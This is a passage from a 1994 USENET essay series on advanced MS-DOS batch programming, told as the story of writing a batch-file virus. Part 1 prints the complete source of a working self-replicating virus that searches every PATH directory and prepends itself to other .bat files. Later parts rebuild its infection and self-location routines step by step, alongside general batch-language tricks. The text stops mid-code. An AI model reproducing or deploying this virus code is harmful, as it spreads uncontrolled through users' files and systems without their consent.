home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / BVUPDAT2.ZIP / BATVIRUS.TXT < prev    next >
Text File  |  1997-01-03  |  83KB  |  1,922 lines

  1.  
  2. -------------------------------------------------------------
  3. These are the texts of the series 'The Hidden Strengths of
  4. the Dos Batch Language' (treating the subjects of artistry in
  5. programming, advanced MS-DOS batch writing, and computer
  6. viruses), almost exactly as they appeared on the USENET group
  7. comp.os.msdos.programmer, during the autumn of 1994. A few 
  8. changes were made to them afterwards, mostly corrections of
  9. bad spelling and style. You are free to copy and redistribute 
  10. this document in electronic form, if you leave it unchanged.
  11. -------------------------------------------------------------
  12.  
  13.  
  14. PART 1 
  15. (4 Oct. 1994)
  16.  
  17. Writing a computer virus is a bit like planning the perfect
  18. murder. Some very amiable and peaceful people like to plan the
  19. ultimate crime just for the intellectual pleasure: afterwards
  20. they don't execute their plan, but write a story or a novel
  21. about it. Likewise, I believe, there are many nice and decent
  22. hackers in the world that spend their evenings programming the
  23. perfect virus, only to prove to themselves and to a few
  24. friends that they can do it. I did it: now I am writing the
  25. story. It will appear in eight to ten weekly episodes on this
  26. newsgroup. Comments are much appreciated.
  27.  
  28.  
  29.     The Hidden Strengths of the Dos Batch Language
  30.  
  31.                   and
  32.                a preface
  33.                  about
  34.  
  35.              Programming as an Art.
  36.  
  37.  
  38. Art lies in self-limitation. Every kind of artistic expression
  39. is an activity within strict limits. For a painter, the most
  40. obvious limit is the edge of the canvas. For a sculptor, there
  41. are the physical properties of his material. The narrower the
  42. limits are, the greater the opportunity for the artist to
  43. prove his skills. A painter who can paint beautiful sceneries
  44. using only two colours of paint, proves he can do without the
  45. others. To do without is the essence of art.
  46.  
  47. Modern programming does not have to do without any more.
  48. Elaborate programming languages, with all kinds of handy
  49. graphics libraries, object-oriented of course, and nice
  50. prototyping tools, have made developing large applications
  51. easier than ever. But they have also taken away the art and
  52. the fun.
  53.  
  54. Trying to recapture the fun, I ventured on the weirdest
  55. programming job I had ever tackled: I decided to write a
  56. virus, maybe the most difficult of programs (complexity/size)
  57. in DOS batch language, surely the most ridiculous of programming
  58. languages. The idea had hounded me for years, but never had
  59. I been able to work it out into a practicable and working
  60. program. The difficulties were manyfold: the primitivity of
  61. the IF command; the complete absence of string manipulation
  62. functions (for file names); the simplicity of the environment
  63. variables; the minimalist nature of standard file manipulation
  64. tools (only SORT and FIND) and certainly not least, the absence
  65. of a random generator. Some of the difficulties I have solved,
  66. most of them I have worked around.
  67.  
  68. In the following pages, I will first give you the complete
  69. code of the last of the eighteen or more versions -- I must
  70. have thrown some away -- being the one that I am most satisfied
  71. with, and also the most complicated. After that, I will step by
  72. step explain the history of the eighteen versions, often
  73. systematically rather than strictly chronologically, and of
  74. course a bit edited and dramatized. I will write this way to
  75. show how the program came into existence and grew from a
  76. simple idea into what will probably stay the most complicated
  77. batch file of my hacking career.
  78.  
  79. I hope you will be willing to bear with me as I explain the
  80. process of creation of the BatchViRuS, trying to recapture my
  81. train of thoughts of those days. I also hope that I may be
  82. able to make you see the art and fun in stretching the limits
  83. of primitive programming environments. I am sure, however,
  84. that even the most hardened batch programmer will discover
  85. something about DOS he didn't yet know, just as there are many
  86. things I still have to discover. On the other hand, as I
  87. intend to write for relatively inexperienced programmers too,
  88. I will at moments explain things that may seem elementary to
  89. some. This being said to my defense, here is your first peek
  90. at the full code:
  91.  
  92. ---------------------------
  93.  
  94. @echo off>nul.ViRuS
  95. rem ViRuS The BatchViRuS by Dirk van Deun 1994
  96. rem ViRuS May be copied freely (On your own machine !)
  97. rem ViRuS Programmed to prove that it's possible
  98. rem ViRuS (and to show off skill in writing batchfiles)
  99. rem ViRuS If you have no disk cache, you're not interested ;-)
  100. rem ViRuS E-mail hw41652@vub.ac.be
  101.  
  102. rem ViRuS Known bug: interpretation of variables may make lines too long 
  103. rem ViRuS for DOS and let characters drop off: unpredictable behaviour
  104.  
  105. if "%0==" echo --------------------------------------->con.ViRuS
  106. if "%0==" echo |   Hi ! I am the nice BatchViRuS !   |
  107. if "%0==" echo --------------------------------------->con.ViRuS
  108. if "%0==" goto ViRuS_OLDBAT
  109. if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
  110. if "%1=="/ViRuS_PARSEPATH goto ViRuS_parsepath
  111. if "%1=="/ViRuS_FINDSELF goto ViRuS_findself
  112. if "%VOFF%=="T goto ViRuS_OLDBAT
  113.  
  114. set ViRuSname=%0
  115. if not exist %0.bat command /e:10000 /c %0 /ViRuS_FINDSELF %path%
  116. if not exist %0.bat call xViRuSx
  117. if not exist %0.bat del xViRuSx.bat
  118. if not exist %ViRuSname%.bat set ViRuSname=
  119. if "%ViRuSname%==" goto ViRuS_OLDBAT
  120.  
  121. rem ViRuS if batch is started with name.BAT, virus will not become active
  122. rem ViRuS it was a bug, now it's a feature ! (also notice the voff variable)
  123. rem ViRuS also if batch was only in an append /x:on path (chance=minimal)
  124. rem ViRuS or if environment is too small to contain %ViRuSname% !
  125.  
  126. if "%VPATH%==" set VPATH=%PATH%>nul.ViRuS
  127. rem (if environment cannot hold VPATH, ViRuS will function partially)
  128. command /e:10000 /c %0 /ViRuS_PARSEPATH %VPATH%
  129. call xViRuSx
  130. del xViRuSx.bat
  131. if "%VPATH%==" set VPATH=.>nul.ViRuS
  132. set ViRuSname=
  133. goto ViRuS_OLDBAT
  134.  
  135. :ViRuS_findself
  136. if "%2==" echo.>xViRuSx.bat
  137. if "%2==" exit>nul.ViRuS
  138. if exist %2\%ViRuSname%.bat echo set ViRuSname=%2\%ViRuSname%>xViRuSx.bat
  139. if exist %2\%ViRuSname%.bat exit
  140. if exist %2%ViRuSname%.bat echo set ViRuSname=%2%ViRuSname%>xViRuSx.bat
  141. if exist %2%ViRuSname%.bat exit
  142. shift>nul.ViRuS
  143. goto ViRuS_findself
  144.  
  145. :ViRuS_parsepath
  146. for %%a in (%2\*.bat;%2*.bat) do command /e:10000 /c %ViRuSname% /ViRuS_MULTIPLY %%a
  147. for %%a in (%2\*.bat;%2*.bat) do goto ViRuS_new_vpath
  148. shift>nul.ViRuS
  149. if not "%2==" goto ViRuS_parsepath
  150. if not "%1==". for %%a in (.\*.bat) do command /e:10000 /c %ViRuSname% /ViRuS_MULTIPLY %%a
  151. :ViRuS_new_vpath
  152. set VPATH=%3>nul.ViRuS
  153. :ViRuS_loop
  154. shift>nul.ViRuS
  155. if "%3==" echo set VPATH=%VPATH%>xViRuSx.bat
  156. if "%3==" exit>nul.ViRuS
  157. set VPATH=%VPATH%;%3>nul.ViRuS
  158. goto ViRuS_loop
  159.  
  160. :ViRuS_multiply
  161. echo Checking: %2>con.ViRuS
  162. find "SeT IchBin=%%0" <%2>xViRuSx.bat
  163. call xViRuSx
  164. del xViRuSx.bat
  165. if "%IchBin%=="xViRuSx exit
  166. find "ViRuS" <%ViRuSname%.bat>xViRuSx.bat
  167. type %2>>xViRuSx.bat
  168. copy xViRuSx.bat %2>nul
  169. del xViRuSx.bat
  170. echo Infecting: %2>con.ViRuS
  171. exit>nul.ViRuS
  172.  
  173. rem data for the first find in ViRuS_multiply
  174. SeT IchBin=%0>nul.ViRuS
  175.  
  176. :ViRuS_OLDBAT
  177. echo on>nul.ViRuS
  178. echo This is the dummy original batch
  179.  
  180. ---------------------------
  181.  
  182. Such was the final version of my BatchViRuS. The reason I
  183. spell ViRuS with the three capitals will be clear to those who
  184. have already looked at the code more thoroughly. Maybe, to
  185. experienced batch writers, many things will have seemed self-
  186. evident as they read them. I assure you, that they were
  187. not so to me as I still had to invent them. This account is
  188. primarily about programming in difficult circumstances; about
  189. doing without.
  190.  
  191. To be continued...
  192.  
  193.  
  194. PART 2
  195. (12 Oct. 1994)
  196.  
  197. Writing a computer virus is a bit like planning the perfect
  198. murder. Some very amiable and peaceful people like to plan the
  199. ultimate crime just for the intellectual pleasure: afterwards
  200. they don't execute their plan, but write a story or a novel
  201. about it. Likewise, I believe, there are many nice and decent
  202. hackers in the world that spend their evenings programming the
  203. perfect virus, only to prove to themselves and to a few
  204. friends that they can do it. I did it: now I am writing the
  205. story. It will appear in eight to ten weekly episodes on this
  206. newsgroup. Comments are much appreciated.
  207.  
  208.  
  209.     The Hidden Strengths of the Dos Batch Language
  210.  
  211.                Part II:
  212.             Genesis, or: The Basics
  213.  
  214.  
  215. The most important thing in the life of a virus is to infect
  216. as many programs as possible. To infect, it must be able to
  217. separate itself from its actual carrier, to copy itself, and
  218. to paste its copy into another carrier. This little program,
  219. infect.bat, will paste itself to the beginning of another
  220. program, of which the name is passed as parameter %1.
  221.  
  222. find "ViRuS" <%0.bat >%0.vvv
  223. find /v "ViRuS" <%1 >>%0.vvv
  224. copy %0.vvv %1 |rem ViRuS
  225. del %0.vvv     |rem ViRuS
  226.  
  227. These four little lines, which I wrote on an equally little
  228. piece of paper during an inspired moment quite some years
  229. ago -- a moment of complete boredom going by train from
  230. Turnhout to Brussels without a good book for the trip -- had
  231. given me hope that a virus of MS-DOS commands was possible.
  232. Not only did these lines reproduce themselves, they also took
  233. care that any old version of the virus was deleted from the
  234. target file, which was necessary back then, because I only
  235. discovered very late in the process how to let the virus
  236. recognize itself in another file, and refrain from adding
  237. itself a second time.
  238.  
  239. Adding '|rem ViRuS' to every line that didn't have the
  240. signature string 'ViRuS' in them, was a simple way of letting
  241. FIND distinguish the virus from the carrier, but it had
  242. certain disadvantages. One of these disadvantages was, that it
  243. was not possible to add such a REM statement to commands that
  244. write to standard output, without making that output
  245. disappear: the output went to REM as input through the pipe
  246. and REM did nothing with it. But more importantly, it slowed
  247. down execution of the batch, because for every pipe, DOS
  248. created a temporary disk file for standard output, which it
  249. deletes after execution of the second piped command.
  250.  
  251. There was a better way to incorporate the word 'ViRuS' into
  252. many lines of the future virus. It is common practice to add
  253. '>nul' to COPY commands in batch files, to suppress the
  254. message 'x file(s) copied'. A less known fact about the NUL
  255. device (and about all character devices) is that you can add
  256. any extension you like to it, without changing the function.
  257. This way, you can also send the output of COPY to nul.bat,
  258. or to nul.com, or to nul.whatever (=nul.wha). So I decided to
  259. send the output of the COPY command to nul.ViRuS, and this
  260. method of incorporating the signature string I extended to
  261. commands that don't write to standard output at all. Now DOS
  262. didn't create a intermediate files any more, and infect.bat
  263. presently looked like this:
  264.  
  265. find "ViRuS" <%0.bat >%0.vvv
  266. find /v "ViRuS" <%1 >>%0.vvv
  267. copy %0.vvv %1>nul.ViRuS
  268. del %0.vvv>nul.ViRuS
  269.  
  270. Of course, what was needed was not a program that infected one
  271. particular file, and certainly not a file of which the name
  272. was passed as first parameter of the batch, because the user
  273. of the batch file would certainly not be so friendly as to
  274. provide a filename. 'FOR %%a IN (*.BAT) do {the 4 commands}'
  275. would be a definite improvement. The 4 commands were put into
  276. a procedure. At the same time, I replaced '%0.vvv' everywhere
  277. with 'xViRuSx.bat', which had the advantage of having the
  278. signature string in it, and was also very unlikely to be the
  279. name of an existing file:
  280.  
  281. if "%1=="/ViRuS_THE_PROCEDURE goto ViRuS_the_procedure
  282. for %%a in (*.bat) do call %0 /ViRuS_THE_PROCEDURE %%a
  283. goto ViRuS_OLDBAT
  284. :ViRuS_the_procedure
  285. find "ViRuS" <%0.bat >xViRuSx.bat
  286. find /v "ViRuS" <%2 >>xViRuSx.bat
  287. copy xViRuSx.bat %2>nul
  288. del xViRuSx.bat
  289. goto XXX_END>nul.ViRuS
  290. :ViRuS_OLDBAT
  291. {the original batch file}
  292. :XXX_END
  293.  
  294. ---------------------------
  295.  
  296. Procedures for batch files are best implemented as pieces of
  297. code that can be called by 'call %0' with a switch parameter.
  298. A series of IF commands at the begin of the batch (I usually
  299. call this part of the code the procedure dispatcher) recognize
  300. the parameter and jump to the right block of code. The last
  301. command of each procedure block is a GOTO to the end of file,
  302. and the 'main program' ends with a GOTO that jumps over the
  303. procedures; so in this particular case, to the place where the
  304. original uninfected batch file is fitted in. This is an
  305. important technique of advanced batch writing, so I'll
  306. illustrate the principle with a simpler example:
  307.  
  308. @echo off
  309. if "%1=="/A goto A
  310. if "%1=="/B goto B
  311. rem Main Program
  312. call %0 /A
  313. call %0 /B
  314. goto END
  315. :A
  316. echo AAA
  317. goto END
  318. :B
  319. echo BBB
  320. goto END
  321. :END
  322.  
  323. By the way, I write 'if "%1=="/A ...' and not 'if %1==/A ...'
  324. because if there are no command line parameters, %1 will be
  325. empty, and 'if %1==/A' will expand to (i.e. be interpreted as)
  326. 'if ==/A', with nothing at the left of the == operator. This
  327. is considered a syntax error. 
  328.  
  329. ---------------------------
  330.  
  331. Let's go back to the virus. Notice how I had incorporated the
  332. signature 'ViRuS' in all lines, except in the last one. I
  333. didn't put the signature into that line, because this line had
  334. to be placed at the very end of the new, infected files, under
  335. the original batch; so it should not be found by the FIND
  336. commands, as FIND would insert the line at the wrong place.
  337. On the other hand, the line had to be reproduced some way, and
  338. old copies of it had to be deleted from the target file at
  339. infection time, otherwise there would soon be scores of
  340. ':XXX_END'-lines at the end of an often-infected file. So I
  341. changed the multiplication procedure to:
  342.  
  343. :ViRuS_the_procedure
  344. find "ViRuS" <%0.bat >xViRuSx.bat
  345. find /v "ViRuS" <%2 |find /v ":XXX_END" >>xViRuSx.bat
  346. echo :XXX_END>>xViRuSx.bat
  347. copy xViRuSx.bat %2>nul
  348. del xViRuSx.bat
  349. goto XXX_END>nul.ViRuS
  350.  
  351. After adding an 'echo off' and an 'echo on', the first working
  352. version was ready:
  353.  
  354. @ECHO OFF>nul.ViRuS
  355. if "%1=="/ViRuS_THE_PROCEDURE goto ViRuS_the_procedure
  356. for %%a in (*.bat) do call %0 /ViRuS_THE_PROCEDURE %%a
  357. goto ViRuS_OLDBAT
  358. :ViRuS_the_procedure
  359. find "ViRuS" <%0.bat >xViRuSx.bat
  360. find /v "ViRuS" <%2 |find /v ":XXX_END" >>xViRuSx.bat
  361. echo :XXX_END>>xViRuSx.bat
  362. copy xViRuSx.bat %2>nul
  363. del xViRuSx.bat>nul.ViRuS
  364. goto XXX_END>nul.ViRuS
  365. :ViRuS_OLDBAT
  366. ECHO ON>nul.ViRuS
  367. echo This is the dummy original batch
  368. :XXX_END
  369.  
  370. To my initial surprise, I could add '>nul.ViRuS' to 'echo off'
  371. and 'echo on', without changing their effect.
  372.  
  373. ---------------------------
  374.  
  375. It is evident that a virus that only infects files in the
  376. current directory will not spread very effectively. A first
  377. improvement was a new FOR loop that let the virus search
  378. files to infect in all directories of the PATH variable, plus
  379. in the current directory. If MS-DOS would have allowed nested
  380. loops, I would only have had to change the line:
  381.      for %%a in (*.bat) do call %0 /ViRuS_THE_PROCEDURE %%a
  382. to:
  383.      for %%b in (%path% .) do 
  384.        for %%a in (%%b\*.bat) do call /ViRuS_THE_PROCEDURE %%a
  385.  
  386. As it is, MS-DOS doesn't allow nested loops. I worked around
  387. this using a new procedure call:
  388.  
  389. @echo off>nul.ViRuS
  390. if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
  391. if "%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loop
  392. for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a
  393. goto ViRuS_OLDBAT
  394. :ViRuS_outer_loop
  395. for %%a in (%2\*.bat) do call %0 /ViRuS_MULTIPLY %%a
  396. goto XXX_END>nul.ViRuS
  397. :ViRuS_multiply
  398. ...
  399.  
  400. There is one bug left (or Unexpected Feature, in politically
  401. correct lingo): on a machine with a system path like
  402. 'c:\dos;c:\batch;c:\', '%2\*.bat' would expand, correctly,
  403. to 'c:\dos\*.bat', then to 'c:\batch\*.bat', but thirdly to
  404. 'c:\\*.bat', with two backslashes. To fix this, I replaced
  405. '%2\*.bat' with '%2\*.bat ; %2*.bat', a combination that
  406. catches all possibilities:
  407.  
  408. @echo off>nul.ViRuS
  409. if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
  410. if "%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loop
  411. for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a
  412. goto ViRuS_OLDBAT
  413. :ViRuS_outer_loop
  414. for %%a in (%2\*.bat;%2*.bat) do call %0 /ViRuS_MULTIPLY %%a
  415. goto XXX_END>nul.ViRuS
  416. :ViRuS_multiply
  417. (...)
  418. goto XXX_END>nul.ViRuS
  419. :ViRuS_OLDBAT
  420. (...)
  421. :XXX_END
  422.  
  423. ---------------------------
  424.  
  425. At that point for the first time I sat back and looked at what
  426. I had accomplished. I was pretty sure I had solved most of the
  427. difficulties. The rest would only be refinement. And indeed
  428. this version of the BatchViRuS contained what could be called
  429. the framework of all versions that followed. But there was
  430. still much more to do than I could imagine at that time.
  431. Little did I suspect that the code would grow to be about four
  432. times its present length. The rest of this essay will tell of
  433. everything I did to make the virus work correctly in all
  434. circumstances and to make it infect files more efficiently.
  435. Because as I discovered soon, this version wouldn't do at all.
  436.  
  437. To be continued...                       For old episodes finger
  438.                      hw41652@is1.vub.ac.be
  439.  
  440. PART 3
  441. (19 Oct. 1994)
  442.  
  443. Writing a computer virus is a bit like planning the perfect
  444. murder. Some very amiable and peaceful people like to plan the
  445. ultimate crime just for the intellectual pleasure: afterwards
  446. they don't execute their plan, but write a story or a novel
  447. about it. Likewise, I believe, there are many nice and decent
  448. hackers in the world that spend their evenings programming the
  449. perfect virus, only to prove to themselves and to a few
  450. friends that they can do it. I did it: now I am writing the
  451. story. It will appear in eight to ten weekly episodes on this
  452. newsgroup. Comments are much appreciated.
  453.  
  454.  
  455.     The Hidden Strengths of the Dos Batch Language
  456.  
  457.                Part III:
  458.         The Trouble with %0 / Upcase()
  459.  
  460.  
  461. The present implementation was really too slow, as it took
  462. several minutes (on my 486 PC with a rather average hard disk
  463. and a disk cache) to reinfect all those files every time an
  464. infected batch was run, but I moved on to a more pressing
  465. problem. Till this moment, I hadn't done much realistic
  466. testing; indeed, in this stage, I hadn't once left the virus
  467. really 'run loose' on my computer. Now it occurred to me that
  468. disaster could very well strike if a file tried to infect
  469. itself, although I hadn't yet seen it happen. If a user had
  470. for instance added a line to the batch file, albeit an empty
  471. line, above the virus, this line would be moved during the
  472. reinfection. MS-DOS would very probably not like it if I
  473. meddled with a file that was opened by command.com for input
  474. at the same moment.
  475.  
  476. I don't remember how long it took me to think of manipulating
  477. file attributes to hide the active batch file from itself, but
  478. the simplicity of the idea immediately appealed to me. I did
  479. not want to complicate the multiply procedure with extra IF's
  480. and GOTO's, to hold the virus from trying to infect itself, so
  481. I was glad I could achieve the same goal with only two lines
  482. around the main program:
  483.  
  484. attrib +h %0.bat>nul.ViRuS
  485. for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a
  486. attrib -h %0.bat>nul.ViRuS
  487.  
  488. Then a little voice in my head reminded me of something silly
  489. I had seen a newbie do: he started batch files with the full
  490. name of the file: e.g. not TETRIS but TETRIS.BAT. What would
  491. happen if an infected file was run this way ? What exactly was
  492. the expanded value of %0 ?
  493.  
  494. The manual says that %1 till %9 are expanded to the first till
  495. the ninth command line parameter, and that %0 is expanded to
  496. 'the name of the batch file without .bat'. But is that also
  497. true if the batch is started the newbie way ? I tested it with
  498. a batch file called whoami.bat, containing the one line:
  499.  
  500. @echo %0
  501.  
  502. I tried 'whoami' and it said 'whoami'. Bad news: it answered
  503. in small letters, not in capitals, so the file name was
  504. probably not preprocessed. I tried 'whoami.bat' and it said
  505. 'whoami.bat'. I tried 'whoami.bathroom' and it said
  506. 'whoami.bathroom'. The perfect parrot. Now I was really glad
  507. that I had used the ATTRIB method to stop the virus from
  508. overwriting itself, because the method with the IF's would not
  509. have worked: the FOR loops generate file names in all
  510. capital letters, and users usually type their commands in
  511. small letters. The DOS == operator does not recognize upper-
  512. and lowercase letters as being the same.
  513.  
  514. ---------------------------
  515.  
  516. Actually, there is a little trick to emulate an upcase()
  517. function in MS-DOS batches, and make case independent ==
  518. possible. I didn't use it in any of the versions of the virus,
  519. but as this essay is called 'The Hidden Strengths of the Dos
  520. Batch Language', I will digress and explain it. It is not my
  521. own invention; as a matter of fact, if I remembered who taught
  522. me, I would mention him or her as an example of inventiveness.
  523. As I realize that some insight into the preprocessing of
  524. percent sign operators in batches will be necessary, I begin
  525. with a digression in a digression.
  526.  
  527. DOS handbooks always tell you that the variable in a FOR loop
  528. has to be a percent sign plus a letter when you type it at the
  529. prompt, and two percent signs plus a letter in batch files.
  530. However, in no book have I ever read why. Also, you can use
  531. %variable_name% to access environment variables in batches,
  532. but not at the prompt. Again, none of the numerous books I
  533. have skimmed on the subject tells why not. As we all know, the
  534. third use for percent signs is in command line parameter
  535. variables (%0...%9). Finally, experimentation shows that, in
  536. batches, 'echo %%' displays only one percent sign, so that
  537. 'echo %%2' is the way to display '%2' literally, not command
  538. line parameter 2. These four facts will have to be combined
  539. into one Grand Unified Theory for better understanding.
  540.  
  541. I just said that no handbook offers an explanation why two
  542. percent signs are necessary for FOR loop variables in
  543. batches. Actually, one book did say something on the subject.
  544. It told me that this was to prevent confusion with the command
  545. line parameter variables %0 to %9. Well, it is true that the
  546. double percent sign prevents confusion, but the explanation is
  547. at best partially correct.
  548.  
  549. Watching the output of batches with 'echo' on brought the
  550. answer: DOS preprocesses all combinations with percent signs
  551. before execution of the command, even before it is echoed on
  552. display. So 'echo %%' will be echoed on screen as 'C:\>echo %'
  553. (sic), followed on the next line by the output '%'. Also, 'for
  554. %%a in () do echo %%a' is displayed as 'C:\>for %a in () do
  555. echo %a'. This means that the FOR command does not suddenly
  556. ask for two percent signs in its parameter if used in batches,
  557. but that the two percent signs are necessary to make the
  558. preprocessor let pass one.
  559.  
  560. It also follows that the reason why you cannot access
  561. environment variables from the command line, and the reason
  562. that 'echo %%' at the command line really does display two
  563. percent signs, is that this preprocessing cycle is present
  564. only in batch processing. All strange properties of percent
  565. sign sequences are thus explicable.
  566.  
  567. ---------------------------
  568.  
  569. Now let's get back to the upcase() trick. The brilliant idea
  570. behind it is that DOS internally has an upcase() function, to
  571. which it does not give access to programmers. You can see this
  572. function in action on quite some occasions, like when you set
  573. an environment variable. Indeed, DOS always converts the name
  574. of the variable to capitals: 'set a=b' makes a variable named
  575. 'A', with value 'b'.
  576.  
  577. The following batch file, compare.bat, makes clever use of
  578. this, by creating an environment variable named after (the
  579. upper case version of) one of the two words that have to be
  580. compared, and as value a test string. Then it checks whether
  581. there exists a variable named after (the upper case version
  582. of) the second word, and as value the test string. If one
  583. does, the two words are the same. Finding out why the checking
  584. has to happen in such a complicated way (lines 4 & 5), I leave
  585. as an exercise for the reader and as a puzzle to test his or
  586. her insight in the Grand Unified Theory of Percent Signs in
  587. Batches.
  588.  
  589. (I fear that trying to explain in detail would only make it
  590. more obscure; I myself only understood it after staring at the
  591. code for a minute or so, and then it seemed so simple...)
  592.  
  593. @echo off
  594. if "%2==" goto end
  595. set %1=anyteststring
  596. echo if "%%%2%%=="anyteststring echo Same Thing !>compare2.bat
  597. call compare2
  598. del compare2.bat
  599. set %1=
  600. :end
  601.  
  602. Of course, in real applications the conditional command will
  603. not be 'echo Same Thing !' but often the setting of a Boolean
  604. variable for further use: 'set same=T'.
  605.  
  606. ---------------------------
  607.  
  608. But all that still leaves the Problem of the Silly Newbie
  609. User. Although for DOS the file names 'virus.bat' and
  610. 'virus.bathroom' are equivalent, 'virus.bat.bat' is not
  611. recognized as being the same. The point upsets DOS. And if a
  612. batch carrying a virus was run the newbie way, the file name
  613. in 'attrib -h %0.bat' would expand to something ending on
  614. .bat.bat . To catch all possibilities, I considered extensive
  615. testing, like this:
  616.  
  617. if exist %0.bat attrib +h %0.bat >nul.ViRuS
  618. if not exist %0.bat attrib +h %0 >nul.ViRuS
  619. (...)
  620. if exist %0.bat attrib -h %0.bat >nul.ViRuS
  621. if not exist %0.bat attrib -h %0 >nul.ViRuS
  622.  
  623. Some way or other, it didn't seem an elegant solution. It was
  624. hate at first sight. As I considered the problem unimportant
  625. ("Let's not bother with a few newbies") I left the program as
  626. it was before, except that at the begin I added the line:
  627.  
  628. if not exist %0.bat goto ViRuS_OLDBAT
  629.  
  630. This way, if the virus couldn't find itself back as %0.bat, it
  631. bailed out and left the original batch execute. It was also
  632. this line of code that attracted my attention to an unforeseen
  633. problem while testing.
  634.  
  635. During one of the tests, I typed 'virus' to start my most
  636. recent test version, but nothing seemed to happen. I got no
  637. 'Bad command or file name', so the batch file had been
  638. executed. Nor had I typed 'virus.bat', so the newly added line
  639. should not be the problem. It was.
  640.  
  641. I had executed the batch from another directory. DOS had found
  642. the batch for me, because it was located in a directory of the
  643. system path, but the batch couldn't find itself back. My
  644. current directory was the root, and virus.bat was in \tmp. DOS
  645. knew where to find virus.bat, executed it, but the stupid
  646. batch (the 'if exist') then searched itself in the root. It
  647. didn't find anything, of course, and it quit. If I were a
  648. drinker, that would have been the moment to open a bottle. As
  649. it was, I shut off the computer and munched some chocolate.
  650.  
  651. To be continued...                       For old episodes finger
  652.                      hw41652@is1.vub.ac.be
  653.  
  654. PART 4
  655. (26 Oct. 1994)
  656.  
  657. Writing a computer virus is a bit like planning the perfect
  658. murder. Some very amiable and peaceful people like to plan the
  659. ultimate crime just for the intellectual pleasure: afterwards
  660. they don't execute their plan, but write a story or a novel
  661. about it. Likewise, I believe, there are many nice and decent
  662. hackers in the world that spend their evenings programming the
  663. perfect virus, only to prove to themselves and to a few
  664. friends that they can do it. I did it: now I am writing the
  665. story. It will appear in eight to ten weekly episodes on this
  666. newsgroup. Comments are much appreciated.
  667.  
  668.  
  669.     The Hidden Strengths of the Dos Batch Language
  670.  
  671.                Part IV:
  672.             On How to Find Yourself
  673.  
  674.  
  675. This was the worst case of Being Stuck of the whole project.
  676. The virus really needed to know its own location, if not to be
  677. able to protect itself from overwriting, certainly as input
  678. for the FIND command that separated the virus from its
  679. carrier. There was no getting around it: I had to devise some
  680. method to let the virus search the system path too, like DOS
  681. did when it executed the batch.
  682.  
  683. It seemed a hell of a task to embed all lines that contained
  684. '%0' in 'for %%a in (. %path%) do if exist...' constructions,
  685. for some lines the more so because DOS processes redirections
  686. at the end of a compound command early. To show you what I
  687. mean by that: the next line, a reasonable being would suppose,
  688. will sort a.dat to standard output if it exists and do nothing
  689. if it does not exist:
  690.  
  691. if exist a.dat sort <a.dat
  692.  
  693. In contrast, the unreasonable computer will display an error
  694. message if a.dat does not exist. DOS evaluates the <a.bat
  695. before the 'exist', and so if there is no a.bat, DOS snorts:
  696. 'File not found'. The only way around that, is to split up 
  697. command, so that the line containing the redirection
  698. instruction will not be processed if there is no a.dat:
  699.  
  700. if NOT exist a.dat goto hell
  701. sort <a.dat
  702. :hell
  703.  
  704. I didn't like the way this was going. The code was getting way
  705. too fat. Luckily, the Muses came to my help. They spoke to me
  706. in my sleep: 'Dirk, thou shalt do this work but once and put
  707. the results in an environment variable.' (Didn't I promise in
  708. the preface I would dramatize the account a bit ?) Anyway, I
  709. grabbed a piece of paper and a pencil (never go to bed without
  710. them), and jotted down the great idea. And unlike most great
  711. ideas you write down half-sleepingly, this one was still great
  712. in the morning.
  713.  
  714. So I first tried:
  715.  
  716. set ViRuSname=%0
  717. if not exist %0.bat for %%a in (%path%) do call %0 /ViRuS_FINDSELF %%a
  718.  
  719. together with the following procedure (I will not now bother
  720. you with the new line in the procedure dispatcher block):
  721.  
  722. :ViRuS_findself
  723. if exist %2\%0.bat set ViRuSname=%2\%0
  724. if exist %2%0.bat set ViRuSname=%2%0
  725. goto XXX_END>nul.ViRuS
  726.  
  727. However, there was an unexpected flaw in this approach: I had
  728. a very long system path, and the line 'if not exist %0.bat for
  729. %%a in (%path%) do ...' was expanded at runtime into something
  730. that extended beyond the maximum length for DOS commands, so
  731. that letters fell off at the end ! This was a rather weird
  732. bug, and I only discovered it during some tiresome tracing
  733. through the pages and pages of output the virus produced when
  734. I disabled the 'echo off'. Unconventional bugs require
  735. unconventional measures, so I could do nothing but try to
  736. shorten the line that had %path% in it, and if possible put
  737. %path% only at the ends of lines, so that if something fell
  738. off, no serious damage was done (it only increased the
  739. probability that the virus would not find itself). Let's skip 
  740. some trials and go straight to the final version:
  741.  
  742. set ViRuSname=%0
  743. if not exist %0.bat call %0 /ViRuS_FINDSELF %path%
  744.  
  745. :ViRuS_findself
  746. if "%2==" goto XXX_END>nul.ViRuS
  747. if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname%
  748. if exist %ViRuSname%.bat goto XXX_END
  749. if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
  750. if exist %ViRuSname%.bat goto XXX_END
  751. shift>nul.ViRuS
  752. goto ViRuS_findself
  753.  
  754. In high-level terms, I had replaced the FOR loop with a 
  755. 'while' loop. In the first version, the FOR command had been
  756. responsible for splitting %path% in its components: each
  757. component of the path would be %%a for one passage of the
  758. loop. Now it was up to the procedure ViRuS_findself to do the
  759. splitting up. It was a strangely lucid moment when I saw that
  760. if I let the CALL statement contain %path% as a parameter, MS-
  761. DOS would do the carving for me, because the semicolons in the
  762. path are separators for MS-DOS: 'call %0 /ViRuS_FINDSELF
  763. %path%' would not cause %path% to be put into %2 for the
  764. CALLed copy of virus.bat, but %path% would be divided over
  765. %2 %3 %4 %5... (%1 = /ViRuS_FINDSELF).
  766.  
  767. After this procedure was ready, I replaced all %0's by
  768. %ViRuSname%'s (except in call statements, where it wasn't
  769. necessary), and I rewrote a few lines to make sure that the
  770. variable ViRuSname would be reset on terminating. The first
  771. and worst crisis was over. I printed a copy of the whole
  772. program, shut off the computer and, very irrelevantly, went to
  773. a school reunion:
  774.  
  775. @echo off>nul.ViRuS
  776. if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
  777. if "%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loop
  778. if "%1=="/ViRuS_FINDSELF goto ViRuS_findself
